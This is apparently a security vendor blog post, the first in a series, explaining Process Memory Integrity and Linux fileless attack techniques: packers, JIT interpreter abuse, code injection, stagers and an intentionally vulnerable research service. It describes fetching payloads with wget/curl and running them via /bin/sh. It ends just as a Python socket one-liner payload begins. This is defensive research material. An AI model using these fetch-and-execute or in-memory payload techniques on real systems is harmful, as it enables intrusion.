Fileless (in-memory) threats, binary obfuscation, and living-off-the-land attack techniques are rising in popularity on Windows. However, little is documented about the applicability and means of achieving these techniques for Linux.
This blog will outline what Process Memory Integrity (PMI) is, why it’s valuable in identifying these types of attack techniques, and technical details for how they are executed on Linux.
As a byproduct of this research, Red Canary will be open sourcing a few tools, beginning with Exploit Primitive Playground (EPP)—a service that intentionally exposes exploit primitives to help researchers learn how to leverage remote code execution vulnerabilities to execute file (in-memory) only payloads.
This is the first installment of a larger blog series. In the future, we will look at PMI through the lens of a defender’s point of view, outlining detection techniques, the unique challenges posed by Linux, and a few discrete examples of how to catch publicly documented toolsets, like Metasploit’s Meterpreter. Stay tuned!
What is Process Memory Integrity (PMI)?
Process Memory Integrity is a series of techniques that help validate the trustworthiness of code executing on a given system. This can be achieved through hashing, runtime code analysis, page flag analysis, monitoring of memory segment permission modifications, code-signing verification, and more.
What type of threats and techniques can PMI find?
Binary compression and obfuscation: Attackers can utilize packers, like the Ultimate Packer for eXecutables (UPX), to compress and obfuscate executable binary contents. This changes the actual bytes of the application on disk, and thus alters the size, file metadata, and more. By analyzing the integrity and contents of what the CPU actually executes—e.g., executable memory pages—most obfuscators, packers, and encoders are easily defeated.
Just-in-time (JIT) applications: Python, Ruby, PowerShell, and Java are just-in-time applications that dynamically convert mnemonic instructions into bytecode at execution time. Since mnemonic instructions can be piped directly into these applications—or specified in a file with minimal requirements on file extension or header requirements—these files can be difficult to identify and analyze. Attackers will commonly use these “native” applications instead of building an implant that has to account for architecture, distribution, and kernel version.
Remote code execution: When a remote code execution vulnerability exists, the conditions arise for an attacker to place code into the memory pages belonging to the vulnerable process. Once control flow is altered, the untrusted, malicious code is executed—without any file modifications or invocation of new processes. As an example, imagine the adversary supplying and executing Position Independent Code (shellcode) instead of executing a command via a shell.
Code injection: Adversaries are able to inject untrusted, malicious code into already running, “trusted” processes by leveraging mechanisms used by debuggers like the GNU Debugger (GDB). The backing file on disk no longer reflects the code that is actually being run.
Dynamic code: Sophisticated adversaries will commonly have a “stager” implant, with minimal functionality, that dynamically fetches additional plugins or code from a remote source. Once obtained, the code is placed into a newly allocated executable memory region, marked as executable, and run, without anything touching the disk. JIT languages—like Java and Python—do this legitimately.
Known malicious or suspicious code: Malware will commonly make use of open source code or build on existing components that have been exposed in the public domain. For example, XMRig, distorm, and other projects are often utilized by adversaries. In many cases, these libraries or projects are unexpected in a production cloud environment.
Code patching/hooking: Adversaries will use hooking/patching to alter program behavior, capture information, and/or hide information. Typically, this is achieved through code injection (in memory). However, the operation can be performed against binary contents on disk as well.
PMI technique #1: binary compression and obfuscation
There are many ways of compressing and obfuscating binaries:
- Traditional packers, like UPX, will take an existing executable, compress, encrypt, or transform it, and embed it into a new executable. At runtime, they decompress/decrypt/transform it back into the original binary, and manually load into memory, often implementing their own dynamic linker.
- Toolchain obfuscators (e.g., llvm-obfuscator, gobfuscate, etc.) act on the source code itself, transforming the binary at compile time. While powerful, these tools produce binaries that have shared “watermarks” that are distinct and lend themselves to detection.
- Dynamic stagers don’t contain a payload and instead contain logic to dynamically download and execute it. Various forms of these exist; some will write the payload to disk, others will load it manually in memory.
PMI technique #2: fileless remote command execution
We consider an attack “fileless” when nothing is written to a persistent medium (i.e., disk). This however does not mean existing executables can not be used to expand execution.
To best demonstrate modern Linux attack techniques, we created Exploit Primitive Playground (EPP). EPP intentionally exposes common security primitives like remote command execution, stack out-of-bounds read/write (R/W), arbitrary memory R/W, and more to allow security researchers to easily demonstrate simple and complex Linux attack techniques, including fileless (in-memory only) exploitation and code execution.
Remote command execution attacks allow an adversary to run an arbitrary shell command. Implicitly, this means the command must be understood by the system and have an associated program or binary. As a result, the adversary has to “live off the land” and misuse an existing program or binary in order to invoke or execute their desired code.
Adversaries will commonly use
wget/curl to fetch a malicious application, and then use a shell like
/bin/sh for execution. There are many other living-off-the-land options.
Here is an example that uses Python:
python -c 'exec("import socket as
To better understand this attack, let’s look at the Python code in a better formatted structure:
import socket as so